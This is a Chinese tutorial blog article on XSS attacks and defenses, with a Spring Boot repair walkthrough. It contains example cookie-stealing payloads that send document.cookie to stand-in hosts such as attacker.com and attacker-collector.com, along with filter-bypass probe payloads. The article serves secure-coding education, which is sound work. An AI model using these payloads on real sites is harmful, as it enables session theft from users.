1. 项目概述:为什么XSS依然是Web安全的头号威胁?
干了这么多年Web开发和渗透测试,跨站脚本攻击(XSS)是我见过最“顽固”也最普遍的漏洞之一。说它顽固,是因为从Web诞生之初它就存在,尽管各种防护框架和最佳实践层出不穷,但每年在各大SRC(安全应急响应中心)和漏洞赏金平台上,XSS依然稳居报告量榜首。说它普遍,是因为它几乎存在于任何允许用户输入的地方——从你博客的评论区,到电商网站的商品搜索框,再到企业内部的管理后台,一个不小心,就可能被攻击者“开个后门”。
简单来说,XSS就是攻击者利用网站对用户输入数据“过于信任”的漏洞,将恶意的脚本代码“注入”到网页中。当其他正常用户浏览这个被“污染”的页面时,这些恶意脚本就会在他们的浏览器里悄悄执行。后果可大可小:轻则弹个恶作剧窗口,重则直接盗走你的登录Cookie,冒充你的身份发帖、转账,甚至利用你的浏览器去攻击内网其他系统。
最近的热搜词里,除了“xss攻击”、“xss漏洞”这些常客,还出现了“pikachu xss靶场”、“ctfshow xss”、“dom型xss”等,这说明无论是安全爱好者学习,还是企业进行内部培训,XSS都是绕不开的必修课。而“springboot xss防范”、“nacos namespaces未授权访问漏洞【原理扫描】”则反映出,即便在成熟的现代开发框架和云原生组件中,配置不当或理解不深,XSS风险依然存在。
这篇文章,我就结合自己这些年“挖洞”和“修洞”的经验,把XSS从原理到防护,掰开揉碎了讲清楚。无论你是刚入门的安全新人、需要编写安全代码的开发者,还是负责系统运维的工程师,都能从中找到你需要的东西。我们会从攻击者视角理解三种核心的XSS攻击原理,然后切换到防御者视角,从代码层、架构层到运维层,构建一套立体的防护方案。最后,我还会分享一些实战中排查XSS漏洞的“骚操作”和常见坑点。
2. XSS攻击原理深度拆解:不只是弹个窗那么简单
很多人对XSS的第一印象就是“弹窗”,用个<script>alert(1)</script>测试一下,弹出来了就说明有漏洞。这没错,但这只是冰山一角。XSS的本质是脚本注入,而脚本的能力远不止弹窗。JavaScript在浏览器里几乎拥有“上帝视角”,它能读取当前站点的Cookie、LocalStorage,能发起任意HTTP请求(受同源策略限制,但有很多绕过方法),能篡改页面DOM(比如在登录框上面伪造一个一模一样的钓鱼框)。理解了这一点,你才能明白XSS的危害到底有多大。
根据恶意脚本的“来源”和“存储”位置,XSS主要分为三类:反射型、存储型和DOM型。它们的原理和利用方式有显著区别。
2.1 反射型XSS:钓鱼攻击的“好帮手”
反射型XSS,也叫非持久型XSS,是最常见的一种。它的攻击流程可以概括为:攻击者构造一个含有恶意脚本的URL -> 诱骗受害者点击这个URL -> 服务器将恶意脚本“反射”回受害者的浏览器并执行。
攻击原理与流程:
- 寻找注入点:攻击者会寻找那些将用户输入直接输出到网页上的地方。最常见的就是搜索框、错误信息页面、URL参数处理接口。例如,一个搜索功能,搜索关键词
test后,页面会显示“您搜索的关键词是:test”。这里的“test”就是用户输入,被直接回显到了页面上。 - 构造恶意URL:如果这个回显没有经过任何过滤或转义,攻击者就可以把搜索词换成一段脚本。比如:
https://vulnerable-site.com/search?keyword=<script>alert(document.cookie)</script>。 - 社会工程学诱导:攻击者不会自己点这个链接(因为Cookie是他自己的)。他会通过钓鱼邮件、论坛私信、即时聊天工具等,把这个看起来“人畜无害”的链接发给目标用户。为了增加迷惑性,他们常常会用短链接服务(如 bit.ly)隐藏真实URL,或者在URL前面加上可信的域名进行伪装。
- 触发与执行:受害者点击链接,浏览器向
vulnerable-site.com发起请求。服务器接收到keyword参数,将其拼接到HTML响应中返回。受害者的浏览器接收到响应,解析HTML,发现其中的<script>标签,便毫不犹豫地执行了它,弹窗显示了受害者当前在该网站的Cookie。
注意:反射型XSS的一个关键特点是,恶意脚本并不存储在目标服务器上,它只是作为HTTP请求的一部分,被服务器“反射”回来。因此,每次攻击都需要诱骗一个特定的用户点击特定的链接。
一个容易被忽略的细节:不仅仅是<script>标签,很多HTML标签的属性也支持执行JavaScript,这为攻击提供了更多向量。例如:
- 图片标签的
onerror属性:<img src="x" onerror="alert(1)">。如果图片加载失败,onerror里的代码就会执行。 - 链接标签的
href属性:<a href="javascript:alert(1)">点击我</a>。 - 各种事件处理器:如
onmouseover,onload,onfocus等。
在实战中,遇到严格过滤了<、>和script的情况,攻击者往往会尝试这些基于属性的注入方式。
2.2 存储型XSS:潜伏在数据库里的“定时炸弹”
存储型XSS,也叫持久型XSS,是危害最大的一种。因为恶意脚本被永久地存储在了目标服务器的后端数据库、文件系统或内存里。任何一个用户,只要访问了包含这段恶意数据的页面,就会中招,无需再次诱导。
攻击原理与流程:
- 寻找可持久化输入点:攻击者关注所有用户提交后会被保存并展示给其他用户看的功能。典型场景包括:论坛发帖/评论、用户昵称/签名、博客文章、商品评价、客服聊天记录、上传文件的文件名等。
- 注入恶意载荷:攻击者在这些功能点提交包含恶意脚本的内容。例如,在论坛评论里写入:
这篇帖子真棒!<script>new Image().src='http://attacker.com/steal?cookie='+document.cookie;</script>。 - 服务器存储:由于后端未对输入进行有效清洗,这段评论连同脚本一起被存入了数据库。
- 广泛传播与触发:之后,任何其他用户(包括管理员)浏览这个帖子时,服务器都会从数据库取出这条评论,嵌入到页面HTML中返回。用户的浏览器在渲染页面时,就会执行那段窃取Cookie的脚本,并将Cookie悄无声息地发送到攻击者的服务器 (
attacker.com)。 - 横向渗透:更可怕的是,如果中招的用户是网站管理员,攻击者窃取到的可能就是后台管理员的会话Cookie,从而获得网站的最高控制权,进行更进一步的破坏(如上传Webshell、篡改首页等)。
实操心得:存储型XSS的排查比反射型要难。因为它可能隐藏在系统的某个古老功能里,或者只在特定用户组(如VIP用户)的页面中触发。在做渗透测试时,要对所有用户可控的、能持久化的数据入口进行全覆盖测试。
2.3 DOM型XSS:纯前端的“隐形杀手”
DOM型XSS是一种比较特殊的类型,它的整个攻击过程不涉及服务器端的参与。恶意脚本的注入和执行,完全发生在客户端的JavaScript代码对DOM进行操作的过程中。
攻击原理与流程:
- 漏洞根源在前端JS:网站的前端JavaScript代码中,存在一些从“不可信源”获取数据,并直接用来操作DOM的代码。最常见的“不可信源”包括:
document.location.hash(URL的#锚点部分)document.location.search(URL的查询参数)document.referrer(来源页URL)window.namelocalStorage/sessionStorage(如果这些存储的数据本身来自不可信输入)
- 利用数据流:攻击者构造一个特殊的URL,其中包含恶意代码。例如:
https://vulnerable-site.com/feed#<img src=x onerror=alert(1)>。 - 客户端解析与执行:受害者访问这个URL。页面加载后,前端JS代码(比如一个单页应用的路由器,或者一个用来动态更新页面内容的功能)从
location.hash中读取了#后面的内容。 - 不安全的DOM操作:关键的漏洞步骤来了!如果代码直接使用了
innerHTML、outerHTML、document.write()或者某些 jQuery 的不安全方法(如html())来将这些内容插入到页面中,浏览器就会将其作为HTML解析。其中的<img>标签和onerror事件就会被创建,图片加载失败,触发onerror中的alert(1)。
与反射型XSS的核心区别:
- 反射型:恶意脚本经过服务器。服务器在HTTP响应体中返回了包含脚本的HTML。
- DOM型:服务器返回的HTML是“干净”的。是前端JS代码自己从URL里读取了恶意内容,并“画蛇添足”地将其作为HTML代码执行了。
注意事项:DOM型XSS非常隐蔽。传统的Web应用防火墙(WAF)和服务器端的日志监控可能完全看不到攻击痕迹,因为恶意载荷根本没有发送到服务器(
#后面的内容不会随HTTP请求发送),或者服务器只是原样返回了数据,是前端处理逻辑出了问题。防御它主要依靠前端开发者的安全意识和安全的编码实践。
3. 构建纵深防御体系:从代码到运维的XSS防护方案
知道了攻击原理,防御就有了方向。防御XSS绝不是简单加一个过滤器就能搞定的事,它需要一套从输入到输出、从开发到部署的纵深防御体系。记住一个核心原则:永远不要信任用户输入。
3.1 第一道防线:输入验证与过滤
这是最外层的防御,目的是在恶意数据进入应用逻辑之前,就将其拒之门外或进行“消毒”。
1. 白名单验证:这是最推荐的方式。定义清楚每个输入字段应该是什么,而不是定义它不能是什么。
- 格式验证:对于邮箱、电话、URL、数字等字段,使用严格的正则表达式进行校验。例如,用户名只允许字母数字和下划线,长度在3-20位之间。
- 类型与范围检查:对于数字ID,确保它是整数且在合理范围内。
- 代码示例(以Spring Boot为例):
// 使用JSR-303 Bean Validation注解进行白名单验证 public class CommentDTO { @NotBlank(message = "内容不能为空") @Size(min = 1, max = 500, message = "内容长度必须在1-500字符之间") @Pattern(regexp = "^[\\w\\W\\s\\p{L}]+$", message = "内容包含非法字符") // 根据实际业务定义更精确的正则 private String content; // getters and setters }提示:白名单规则要根据业务灵活制定,过严会影响用户体验,过松则失去意义。对于富文本内容(如博客正文),白名单验证非常困难,通常需要结合后面的过滤和转义。
2. 黑名单过滤(谨慎使用):列出已知的危险字符或模式并将其删除或替换。这种方法很容易被绕过(编码、混淆),因此不能作为主要的防御手段,只能作为辅助。
- 常见的过滤列表包括:
<,>,",',&,javascript:,onerror=,onload=等。 - 使用成熟的库(如Java的
OWASP Java Encoder, Python的bleach)进行过滤,比自己写正则更可靠。
3.2 第二道防线:输出转义(编码)
这是防御XSS最核心、最有效的手段。其原理是:确保所有用户可控的数据在输出到不同上下文时,都被当作纯文本数据处理,而不是可执行的代码。浏览器会对转义后的字符进行解码显示,但不会执行。
关键:根据输出上下文选择正确的编码方式!
HTML上下文转义: 当数据要插入到HTML标签内部(如
<div>用户输入</div>)或普通属性值(如<input value="用户输入">)时,需要对以下字符进行转义:&->&<-><>->>"->"'->'(或',但后者不是HTML标准) 几乎所有现代Web框架的模板引擎都内置了自动转义功能,务必确保它默认开启。- Thymeleaf (Spring Boot):默认已开启。使用
th:text或[[...]]会进行转义;如果确实需要输出原始HTML,使用th:utext或[(...)],但要极度谨慎。 - FreeMarker:使用
${userInput?html}进行转义。 - JSP:使用
<c:out value="${userInput}" />而不是${userInput}。 - Vue/React:使用双花括号
{{ userInput }}默认会进行HTML转义。如果必须输出HTML,Vue使用v-html指令,React使用dangerouslySetInnerHTML,这两个属性名本身就充满了警告。
JavaScript上下文转义: 当数据要插入到
<script>标签内或事件处理器(如onclick)中时,情况更复杂。仅仅转义HTML字符是不够的,因为这里是JavaScript的领域。- 错误做法:
<script>var message = '用户输入';</script>。如果用户输入是'; alert(1);//,就会闭合字符串,执行后续代码。 - 正确做法:
- 首选:避免在JS中直接拼接用户数据。使用
><div id="user-data">// 后端(Java with Jackson) String safeJson = objectMapper.writeValueAsString(userInput); // 前端 var userInput = 安全的JSON字符串; // 注意:这里已经是转义后的JSON字符串,直接赋值即可
- 首选:避免在JS中直接拼接用户数据。使用
- 错误做法:
URL上下文转义: 当用户输入要作为URL的一部分(如链接的href、src属性)时,需要使用URL编码。
- 使用标准库函数:JavaScript的
encodeURIComponent(),Java的URLEncoder.encode()。 - 重要:在构建
href="javascript:..."或src属性时,首先要确保URL的协议是白名单允许的(如http:、https:),然后再进行URL编码。更好的做法是彻底禁止javascript:协议。
- 使用标准库函数:JavaScript的
3.3 第三道防线:内容安全策略(CSP)
CSP是一个强大的浏览器安全特性,它通过HTTP响应头来告诉浏览器,哪些外部资源(脚本、样式、图片、字体等)可以被加载和执行。它可以从根本上减少XSS的攻击面,是防御XSS的“终极武器”之一。
CSP的核心指令:
default-src 'self';:默认策略,只允许加载同源资源。script-src 'self' https://trusted.cdn.com;:脚本只能从同源或指定的CDN加载。'unsafe-inline'和'unsafe-eval'是危险的,应尽量避免。style-src 'self';:控制样式表来源。img-src *;:图片可以从任何地方加载。object-src 'none';:禁止加载Flash等插件,能有效防范一些基于插件的攻击。report-uri /csp-report-endpoint;:设置违规报告地址,用于监控和调试。
如何部署CSP:
- 报告模式起步:一开始不要直接拦截,先使用
Content-Security-Policy-Report-Only头,让浏览器只报告违规行为而不阻止。分析报告,了解你的网站实际需要哪些资源。 - 制定策略:根据报告,制定尽可能严格的策略。原则是:默认拒绝,明确允许。
- 启用拦截模式:将策略头改为
Content-Security-Policy,正式启用。 - 处理内联脚本和样式:CSP默认禁止内联脚本 (
<script>...</script>) 和内联样式 (<style>...</style>)。有两种处理方式:- 方法一(推荐):将所有内联脚本/样式移到外部文件。
- 方法二:使用
nonce(一次性随机数)或hash(脚本内容的哈希值)来允许特定的内联脚本。
对应的CSP头:<!-- 服务器生成一个随机nonce,每个请求都不同 --> <script nonce="EDNnf03nceIOfn39fn3e9h3sdfa"> // 你的内联脚本 </script>script-src 'nonce-EDNnf03nceIOfn39fn3e9h3sdfa' ...
实操心得:引入CSP可能会“打破”网站原有的某些功能,特别是大量使用内联脚本和第三方Widget(如分享按钮、聊天插件)的旧站点。实施过程需要仔细测试和渐进式推进。但对于新项目,从一开始就设计好CSP策略会顺畅得多。
3.4 第四道防线:安全的Cookie与框架特性
1. 设置HttpOnly Cookie:对于会话标识符(Session ID)等敏感Cookie,务必设置HttpOnly属性。这样,JavaScript(无论是正常的还是恶意的)就无法通过document.cookieAPI读取到这个Cookie,从而有效防止XSS攻击窃取会话。
- 设置方法(以Java Servlet为例):
Cookie sessionCookie = new Cookie("JSESSIONID", sessionId); sessionCookie.setHttpOnly(true); sessionCookie.setSecure(true); // 同时设置Secure,仅通过HTTPS传输 response.addCookie(sessionCookie); - Spring Security等安全框架通常默认会开启这些安全属性。
2. 使用现代框架的安全特性:
- React/Vue/Angular:这些框架的虚拟DOM和默认的插值语法(
{{ }})在大多数情况下会自动进行HTML转义,为开发者提供了很好的默认安全保护。但开发者仍需警惕前面提到的v-html和dangerouslySetInnerHTML等“逃生舱”的滥用。 - 模板引擎:如前所述,确保模板引擎的自动转义功能开启。
3. 避免不安全的DOM API:在前端开发中,坚决避免使用以下不安全的API直接将字符串作为HTML解析:
element.innerHTML = userInput;element.outerHTML = userInput;document.write(userInput);eval(userInput);setTimeout(userInput, 0);/setInterval(userInput, 0);如果确实需要动态生成HTML,请使用安全的API:element.textContent = userInput;(设置纯文本,安全)- 使用
document.createElement()和appendChild()等方法来构建DOM节点。 - 使用经过安全审计的库,如
DOMPurify,来净化HTML字符串后再赋值给innerHTML。
4. 实战演练:从漏洞挖掘到修复的完整案例
光说不练假把式。我们以一个模拟的博客评论系统为例,走一遍从发现存储型XSS漏洞到彻底修复的完整流程。
漏洞场景:一个简单的Spring Boot博客系统,评论提交后直接存入数据库,并在文章详情页展示。
4.1 漏洞代码分析:
// Controller层 - 存在漏洞的版本 @PostMapping("/comment") public String addComment(@RequestParam String content, @RequestParam Long postId, HttpSession session) { // 1. 这里缺少对content的输入验证和过滤! Comment comment = new Comment(); comment.setContent(content); // 用户输入直接存入对象 comment.setPostId(postId); comment.setUserId(getCurrentUserId(session)); commentService.save(comment); return "redirect:/post/" + postId; } // Thymeleaf 模板 - 存在漏洞的版本 <div th:each="comment : ${post.comments}"> <p th:utext="${comment.content}"></p> <!-- 危险!使用了th:utext,不会转义HTML --> </div>漏洞点:
- 后端Controller接收评论内容
content后,未做任何处理直接存入数据库。 - 前端模板使用
th:utext输出评论内容,这意味着Thymeleaf不会对其进行HTML转义。
4.2 攻击模拟:攻击者在评论框输入:
这篇博文让我受益匪浅!<script>var img=new Image();img.src='http://attacker-collector.com/steal?cookie='+encodeURIComponent(document.cookie);</script>提交后,这段脚本被存入数据库。此后,任何用户(包括管理员)访问这篇博文,他们的Cookie都会被悄无声息地发送到attacker-collector.com。
4.3 分层修复方案:
第一步:后端加强输入验证(白名单+长度限制)
// DTO层,使用Bean Validation public class CommentDTO { @NotBlank @Size(max = 2000) // 限制评论长度 @Pattern(regexp = "^[\\s\\S]*$") // 这是一个非常宽松的规则,仅作示例。实际应根据业务定义,例如禁止某些特定标签。 private String content; // ... getters and setters } // Controller层,使用DTO接收参数并校验 @PostMapping("/comment") public String addComment(@Valid CommentDTO commentDTO, BindingResult result, @RequestParam Long postId, HttpSession session) { if (result.hasErrors()) { // 返回错误信息,拒绝提交 return "redirect:/post/" + postId + "?error=invalid_input"; } // 可以在此处或Service层进行更复杂的内容过滤(如富文本净化) String sanitizedContent = htmlSanitizer.sanitize(commentDTO.getContent()); Comment comment = new Comment(); comment.setContent(sanitizedContent); // 使用净化后的内容 // ... 保存逻辑 return "redirect:/post/" + postId; }第二步:引入HTML净化库处理富文本(如果需要)如果评论允许一些简单的HTML格式(如加粗、链接),则需要净化,而不是简单转义或拒绝。
// 使用OWASP Java HTML Sanitizer import org.owasp.html.PolicyFactory; import org.owasp.html.Sanitizers; @Service public class HtmlSanitizerService { private static final PolicyFactory POLICY = Sanitizers.FORMATTING .and(Sanitizers.LINKS) // 允许格式化标签和链接 .and(Sanitizers.BLOCKS) // 允许块级标签 .and(Sanitizers.IMAGES); // 允许图片 public String sanitize(String dirtyHtml) { if (dirtyHtml == null) return ""; return POLICY.sanitize(dirtyHtml); // 过滤掉不安全的标签和属性 } }第三步:前端模板安全输出(强制转义)将模板中的th:utext改为th:text。
<div th:each="comment : ${post.comments}"> <p th:text="${comment.content}"></p> <!-- 安全!Thymeleaf会自动转义 --> </div>如果评论内容已经是净化过的安全HTML(比如包含了允许的<b>、<a>标签),你仍然需要使用th:utext来渲染这些HTML。但此时,comment.content的内容来自于我们后端的sanitize方法,是可信的。这是一个关键点:转义和净化是不同场景的解决方案。对于纯文本,转义;对于受控的富文本,净化+谨慎渲染。
第四步:部署内容安全策略(CSP)在Spring Security配置或全局过滤器中添加CSP头。
// 使用Spring Security配置CSP @Configuration @EnableWebSecurity public class SecurityConfig extends WebSecurityConfigurerAdapter { @Override protected void configure(HttpSecurity http) throws Exception { http // ... 其他配置 .headers() .contentSecurityPolicy("default-src 'self'; script-src 'self' 'nonce-{random-nonce}'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; report-uri /csp-report;"); // 注意:这里为了允许Thymeleaf的内联脚本,使用了nonce策略。实际生产环境应尽量将脚本外部化。 } }第五步:设置安全的Cookie确保会话Cookie已设置HttpOnly和Secure。
# application.yml (Spring Boot) server: servlet: session: cookie: http-only: true secure: true # 生产环境HTTPS下开启通过以上五层防护,这个存储型XSS漏洞就被彻底封堵了。修复后的系统,即使攻击者输入恶意脚本,也会在后端被过滤或转义,在前端被CSP策略拦截,无法造成任何危害。
5. 高级话题与疑难排查
即使遵循了所有最佳实践,在复杂的现实系统中,XSS漏洞仍可能以意想不到的方式出现。这里分享一些高级场景和排查技巧。
5.1 富文本编辑器(WYSIWYG)的XSS防护这是XSS防护的难点。用户需要输入HTML来排版,但你又不能完全信任它。
- 方案:使用白名单净化策略。不要用正则表达式自己写HTML解析器,这几乎不可能写对。使用成熟的库:
- 后端:OWASP Java HTML Sanitizer, jsoup (Whitelist), PHP的
htmlpurifier。 - 前端:在提交前也可以用前端库(如
DOMPurify)做一次净化,但后端必须再做一次,因为前端验证可以被绕过。
- 后端:OWASP Java HTML Sanitizer, jsoup (Whitelist), PHP的
- 配置白名单:明确列出允许的标签和属性。例如,只允许
<p>,<b>,<i>,<a href>,并且要对href属性进行协议检查(只允许http://,https://,mailto:)。 - 警惕
style属性和javascript:协议:它们是常见的绕过点。白名单里通常应该禁止style属性,或者对其值进行严格的CSS解析。
5.2 第三方组件与库带来的风险你使用的某个npm包、jQuery插件或者CMS模块可能引入了XSS漏洞。
- 措施:
- 依赖管理:使用
npm audit、OWASP Dependency-Check等工具定期扫描项目依赖。 - 子资源完整性(SRI):在引入第三方CDN的脚本或样式时,使用
integrity属性。浏览器会检查文件的哈希值是否匹配,防止CDN被篡改后注入恶意代码。<script src="https://cdn.example.com/jquery.min.js" integrity="sha384-...sha384哈希值..." crossorigin="anonymous"></script> - CSP限制:通过CSP的
script-src和style-src严格限制外部资源的来源。
- 依赖管理:使用
5.3 排查技巧与工具当收到漏洞报告或进行自查时,如何高效地定位XSS点?
代码审计:
- 搜索危险函数/API:在代码库中全局搜索
innerHTML、outerHTML、document.write、eval、setTimeout(string)、.html()(jQuery)、v-html、dangerouslySetInnerHTML。 - 跟踪数据流:找到一个用户输入点(如
HttpServletRequest.getParameter()),跟踪这个变量在整个调用链中是否被直接拼接进SQL、命令行或HTML输出中。 - 检查模板引擎配置:确认是否关闭了自动转义(如FreeMarker的
auto_escaping, Thymeleaf的th:utext滥用)。
- 搜索危险函数/API:在代码库中全局搜索
黑盒测试:
- 手工测试:在所有输入点尝试提交
<>"'&等特殊字符,观察输出位置,看它们是否被原样输出、转义、过滤或截断。 - 使用扫描器:工具如Burp Suite、OWASP ZAP的主动扫描功能,以及Acunetix、Nessus等商业工具,可以自动化地发现常见的XSS漏洞。但它们不是万能的,尤其是对于DOM型XSS和需要复杂交互的存储型XSS。
- 专用探测Payload:
- 简单探测:
<img src=x onerror=alert(1)> - 绕过过滤探测:
<img src=x oneonerrorrror=alert(1)>(尝试混淆事件名) - 探测是否在JS上下文中:
';alert(1);//或\";alert(1);// - 使用PortSwigger的XSS Cheat Sheet作为参考,尝试各种变形和绕过技巧。
- 简单探测:
- 手工测试:在所有输入点尝试提交
DOM型XSS专项排查:
- 在浏览器开发者工具中,设置DOM修改断点。在可疑的DOM节点上右键选择“Break on -> attribute modifications / subtree modifications”。
- 使用静态分析工具:针对前端代码,可以使用ESLint配合安全规则插件(如
eslint-plugin-security)来检测不安全的代码模式。 - 手动分析所有从以下来源获取数据的JS代码:
location.hash、location.search、document.referrer、window.name、localStorage、sessionStorage、postMessage事件的数据。看这些数据是否最终流向了innerHTML或eval等接收器。
5.4 我踩过的几个“坑”
- 过度依赖黑名单:早期写过一个过滤器,过滤了
<script>和onerror,结果攻击者用<img src=x **onerror**=alert(1)>(大小写混合)和<svg/onload=alert(1)>轻松绕过。教训:白名单优于黑名单。 - 转义了错误的上下文:一个API返回JSON数据,我在后端对数据进行了HTML转义(将
<转成<)。前端拿到数据后,用JSON.parse解析,结果显示出来的是<script>这个字符串本身,而不是<script>。前端又“聪明”地自己用innerHTML去渲染,造成了二次转义混乱。教训:后端负责业务逻辑和净化,前端根据输出上下文决定是否转义。前后端要明确约定数据格式和职责。 - CSP配置过于宽松:为了快速上线,一开始配置了
script-src *(允许所有脚本)。这等于没装CSP。后来花了很多时间才逐步收紧策略。教训:CSP应该从项目开始就规划,采用报告模式逐步推进。
XSS的攻防是一场持续的战斗。新的前端框架、新的浏览器特性、新的绕过技巧不断涌现。作为开发者,我们必须将安全思维融入开发流程的每一个环节:设计时考虑安全边界,编码时使用安全API,测试时进行安全扫描,部署时配置安全策略。唯有如此,才能构建出真正坚固的Web应用。